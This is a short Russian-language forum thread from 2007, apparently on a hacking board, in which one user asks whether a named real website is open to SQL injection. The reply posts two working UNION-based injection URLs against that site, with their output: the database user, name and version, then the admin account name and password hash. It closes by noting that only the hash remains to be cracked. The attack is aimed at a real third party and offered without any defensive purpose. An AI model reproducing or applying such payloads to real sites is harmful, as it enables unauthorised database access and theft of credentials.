06.11.2007, 01:25
|
|
Участник форума
Регистрация: 03.09.2005
Сообщений: 123
Провел на форуме:
1896022
Репутация:
259
|
|
Сообщение от Sokoloff
Есть ли тут скл-инъекция?
http://www.selfserviceworld.com/research.php?rc_id='
Есть, для начала
Код:
http://www.selfserviceworld.com/research.php?rc_id=-309+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4,5,6,7,8/*
atmmarketplace@localhost/sitedb/5.0.22
Код:
http://www.selfserviceworld.com/research.php?rc_id=-309+union+select+name,2,password,4,5,6,7,8+from+users/*
admin: dbcc4a47bc32b0e84903c632fb0dc08c
Осталось только расшифровать хеш админа)
Последний раз редактировалось min7; 06.11.2007 в 02:20..
|
|
|